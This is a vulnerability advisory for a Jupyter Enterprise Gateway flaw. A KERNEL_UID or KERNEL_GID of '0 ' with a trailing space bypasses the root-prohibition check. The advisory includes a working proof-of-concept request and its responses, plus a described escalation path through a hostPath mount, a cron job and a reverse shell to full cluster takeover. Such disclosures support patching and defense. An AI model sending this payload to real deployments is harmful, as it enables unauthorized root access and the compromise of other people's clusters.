CVE-2026-44180: Jupyter Enterprise Gateway: root privilege bypass in Kubernetes

### Summary Jupyter Enterprise Gateway has a prohibited UID and GID feature that by default prevents launching kernels with UID or GID 0 (root). This can be bypassed. It is possible to launch kernels with a prohibited UID and/or GID by using a specially crafted `KERNEL_UID` or `KERNEL_GID` value. The feature is described in the documentation: https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/config-add-env.md?plain=1#L103-L107 https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/config-add-env.md?plain=1#L88-L92 https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/deploy-kubernetes.md?plain=1#L769 ### Details The `prohibited_uids` and `prohibited_uids` are set based of the OS env var `EG_PROHIBITED_UIDS` and `EG_PROHIBITED_GIDS`, and default to the string `0`. https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/container.py#L29-L30 The checks https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/container.py#L113 and https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/container.py#L119 look for the user supplied `KERNEL_UID` / `KERNEL_GID` string in the `prohibited_uids` / `prohibited_gids` strings. These checks can be bypassed by including whitespace, for example the string `0 ` (trailing space). The user supplied string is used in the Kubernetes manifest at https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L35 and https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L38 where they are parsed as an integer in the Jinja2 template - which will ignore the whitespace. ### PoC #### How it is meant to work Trying `0` gets denied, as expected. ```bash xh http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels name=python_kubernetes env:='{"KERNEL_POD_NAME":"bdawg", "KERNEL_UID": "0", "KERNEL_GID": "0"}' ``` ``` HTTP/1.1 403 Kernel's UID value of '0' has been denied via EG_PROHIBITED_UIDS! Content-Length: 94 Content-Type: application/json Date: Mon, 14 Jul 2025 12:57:09 GMT Server: TornadoServer/6.4.1 X-Content-Type-Options: nosniff ``` ```json { "reason": "Kernel's UID value of '0' has been denied via EG_PROHIBITED_UIDS!", "message": "" } ``` #### Exploit bypassing the checks Using `0 ` with a trailing space, bypasses the check. ```bash xh http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels name=python_kubernetes env:='{"KERNEL_POD_NAME":"bdawg", "KERNEL_UID": "0 ", "KERNEL_GID": "0 "}' ``` ``` HTTP/1.1 201 Created Content-Length: 172 Content-Type: application/json Date: Mon, 14 Jul 2025 14:15:19 GMT Location: /api/kernels/17eee032-994f-4dd2-8ade-87169c300a40 Server: TornadoServer/6.4.1 X-Content-Type-Options: nosniff ``` ``` { "id": "17eee032-994f-4dd2-8ade-87169c300a40", "name": "python_kubernetes", "last_activity": "2025-07-14T14:15:21.468155Z", "execution_state": "starting", "connections": 0 } ``` The pod is successfully scheduled. Inspecting the container we can see it is running as `root`: ```bash kubectl exec -it pod/bdawg -- bash ``` ``` (base) root@bdawg3:~# id uid=0(root) gid=0(root) groups=0(root),100(users) ``` If we had not supplied the `KERNEL_UID` / `KERNEL_GID` the container would have been running as UID:GID `1000:100` (`jovyan:users`). ### Impact This input validation vulnerability allows running Jupyter kernels as root, which can be dangerous as it allows more attack surface, and may lead to container escapes, compromising the worker node and all workloads running on it. Repeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. It is possible to specify volume mounts, so one vector for a container escape is to use a `hostPath` R/W volume mount, use this UID/GID bypass to run as root, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system. Organisations running Jupyter Enterprise Gateway to host Jupyter Kernels on at least Kubernetes clusters (I've tested this), and possibly on any other supported container orchestration systems or systems that utilise the `KERNEL_UID` and `KERNEL_GID` variables with the `EG_PROHIBITED_UIDS` and `EG_PROHIBITED_GIDS` feature.

An adversary with network access to an Enterprise Gateway deployment — whether an insider, a compromised CI/CD pipeline, or an attacker who enumerated the internal Kubernetes service endpoint — sends a single HTTP POST to `/api/kernels` with `KERNEL_UID: '0 '` and `KERNEL_GID: '0 '` (trailing space). The security check compares the string '0 ' against the prohibited list containing '0', finds no match, and proceeds. The Jinja2 template then casts '0 ' to integer 0 when writing the Kubernetes pod manifest, scheduling the kernel container as root. The attacker connects to the root shell via the kernel API, mounts a hostPath volume pointing to `/etc/cron.d` on the host, and writes a cron job that executes a reverse shell or downloads a persistence implant. This gives the attacker code execution on the underlying worker node with root privileges, from which they can read secrets mounted in other pods, pivot to the Kubernetes API server using the node's service account credentials, and ultimately compromise the entire cluster including all AI model artifacts, training data, and API keys stored as secrets.